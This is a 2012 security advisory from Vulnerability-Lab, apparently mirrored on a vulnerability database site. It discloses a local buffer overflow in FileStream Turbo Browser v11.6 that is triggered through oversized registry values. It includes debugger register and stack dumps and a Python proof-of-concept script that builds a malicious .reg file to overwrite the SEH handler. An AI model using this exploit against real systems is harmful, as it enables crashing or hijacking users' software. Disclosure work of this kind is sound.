Lucene search
K

FileStream Turbo Browser v11.6 - Buffer Overflow

FileStream Turbo Browser v11.6 - Buffer Overflow, File & Document Management, Photo Editing, DVD/CD Creation, Remote Upload/Downloa

Code
Document Title:
===============
FileStream Turbo Browser v11.6 - Buffer Overflow


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=491


Release Date:
=============
2012-04-10


Vulnerability Laboratory ID (VL-ID):
====================================
491


Common Vulnerability Scoring System:
====================================
4.4


Product & Service Introduction:
===============================
From editing or optimizing individual or groups of digital photos to managing all your PDF and Office Documents, this multiple 
award winning software lets you organize, group convert and optimize, create DVD/CD, slideshow, group rename, change 
file properties, print, compress, upload, download, publish Web sites, plus edit HTML, script, text, RTF, and HEX in its color 
coded editor. There is no other software that lets you do so much all in one place. This latest new release supports all 
popular digital camera RAW formats; it also supports burning to Blu-ray and HD-DVD discs.

Photo Editing - The new Digital Darkroom feature offers you many essential quick fix photo editing tools from single click 
red eye removal button, auto-fix buttons, to color adjustment sliders for you to improve your photos in a snap. You, as a 
photography enthusiast, can now manually change white balance, use fill flash, back lighting, and color cast removal tools 
along with the original shooting information and histogram to fine tune pictures. This new release continues to let you 
batch convert, optimize, resize, reduce file size, and print single or groups of photos and images.

Manage Documents with a Star - From Acrobat PDF to Office Documents, like Word Processing, Spreadsheet, PowerPoint, 
it offers you all the essential tools you need to find, view, print, organize, launch and work with them conveniently in one 
program. Supports internal viewing of 200+ formats. You can mark or tag your frequently used or favorite files with a 
Star so you can quickly pull them out when you need them. You can also display and reference your file list by Timeline.

Organize and Create DVD/CD - The Organize Wizard lets you organize your photos by name, event, time, or location. 
Most digital cameras list your photos with serial number style names, which is very hard, if not impossible, to figure 
out which photo is which. With the additional file management tools like group rename, batch print, zip, unzip, and change 
file properties, you can organize photos and documents on your hard drives and network fast and easy. Burn them onto 
DVD/CD with Verify to secure backup protection. You can also create your own Slideshow with just a couple clicks.

Remote Upload, Download, and Publish - You can upload files and images to and download from servers. You can 
preview and edit before and after the transfer. It supports Quick Publishing for direct editing files on hosting servers.

Color coded HTML, RTF, Text, Script, and Hex Editors - Turbo Browser includes CodeWorks, which is an easy to use, fast 
and simple HTML and code editor with built-in HTML Helper and side-by side source and Web view. Its friendly assistant 
helps to make creating and editing code a much easier task.

(Copy of the Vendor Homepage: http://www.filestream.com )


Abstract Advisory Information:
==============================
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on FileStream Turbo Browser v11.6


Vulnerability Disclosure Timeline:
==================================
2012-04-04:	Vendor Notification 1
2012-04-05:	Vendor Notification 2
2012-04-06:	Vendor Notification 3
2012-04-11:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A Buffer Overflow vulnerability is detected on FileStream Turbo Browser v11.6 (current version).  
The vulnerability is located in the main executeable turbob.exe. 
During the start of the application different values are read from the registry:

+ Name from [HKEY_CURRENT_USER/Software/FileStream/Turbo Browser/Log]
+ /MyFolder0/, /MyFolder1/ from [HKEY_CURRENT_USER/Software/FileStream\\\\/Turbo Browser/MyRecent Folder List0]

When inserting an oversized value to the registry values a buffer overflow is triggered. 
The victim only needs to start the application.

Vulnerable Module(s):
                                                    [+] Reg-keys: MyFolder0, MyFolder1, Name

--- Debugger Logs ---
#Disassembly:
7C9132A6   FFD1             CALL ECX
7C9132A8   64:8B25 00000000 MOV ESP,DWORD PTR FS:[0]
7C9132AF   64:8F05 00000000 POP DWORD PTR FS:[0]
7C9132B6   8BE5             MOV ESP,EBP
7C9132B8   5D               POP EBP
7C9132B9   C2 1400          RETN 14
7C9132BC   8B4C24 04        MOV ECX,DWORD PTR SS:[ESP+4]
7C9132C0   F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6
7C9132C7   B8 01000000      MOV EAX,1
7C9132CC   75 12            JNZ SHORT ntdll.7C9132E0
7C9132CE   8B4C24 08        MOV ECX,DWORD PTR SS:[ESP+8]
7C9132D2   8B5424 10        MOV EDX,DWORD PTR SS:[ESP+10]
7C9132D6   8B41 08          MOV EAX,DWORD PTR DS:[ECX+8]
7C9132D9   8902             MOV DWORD PTR DS:[EDX],EAX
7C9132DB   B8 02000000      MOV EAX,2
7C9132E0   C2 1000          RETN 10


#Registers:
EAX 00000000
ECX 42424242
EDX 7C9132BC ntdll.7C9132BC
EBX 00000000
ESP 0012F700
EBP 0012F720
ESI 00000000
EDI 00000000
EIP 42424242


#Dump:
0012FC44  41 41 41 41 41 41 41 41  AAAAAAAA
0012FC4C  41 41 41 41 41 41 41 41  AAAAAAAA
0012FC54  41 41 41 41 41 41 41 41  AAAAAAAA
0012FC5C  41 41 41 41 42 42 42 42  AAAABBBB
0012FC64  00 43 43 43 43 43 43 43  .CCCCCCC
0012FC6C  43 43 43 43 43 43 43 43  CCCCCCCC
0012FC74  43 43 43 43 43 43 43 43  CCCCCCCC


#Stack:
0012F6E8   0012FC5C  ASCII AAAABBBB
0012F6EC   00140000
0012F6F0   001F0520
0012F6F4   0012F708
0012F6F8   7C91D80A  ntdll.7C91D80A
0012F6FC   7C9601E1  ntdll.7C9601E1
0012F700   7C9132A8  RETURN to ntdll.7C9132A8
0012F704   0012F7E8
0012F708   0012FC5C  ASCII AAAABBBB
0012F70C   0012F804
0012F710   0012F7BC
0012F714   0012FC5C  Pointer to next SEH record
0012F718   7C9132BC  SE handler

Picture(s):
                                                    ../1.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by local attackers. For demonstration or reproduce ...

#!/usr/bin/python 
# Exploit Title: FileStream Turbo Browser v11.6 Local Buffer Overflow Vulnerability
# Version:       11.6
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.filestream.com
# Notes:         Vulnerable Reg-keys: MyFolder0, MyFolder1, Name
# Howto:         Import Reg -> Start App

file="poc.reg"

junk1="\x41" * 268
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\FileStream\Turbo Browser\Log]\n"
poc=poc + "\"Name\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";






Security Risk:
==============
The security risk of the local buffer overflow vulnerability is estimated as medium(-).


Credits & Authors:
==================
Vulnerability Research Laboratory   -    Julien Ahrens  (MrTuxracer)  [www.inshell.net]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation